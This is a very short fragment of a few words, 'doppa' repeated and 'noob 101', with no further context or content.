doppa
doppa

noob 101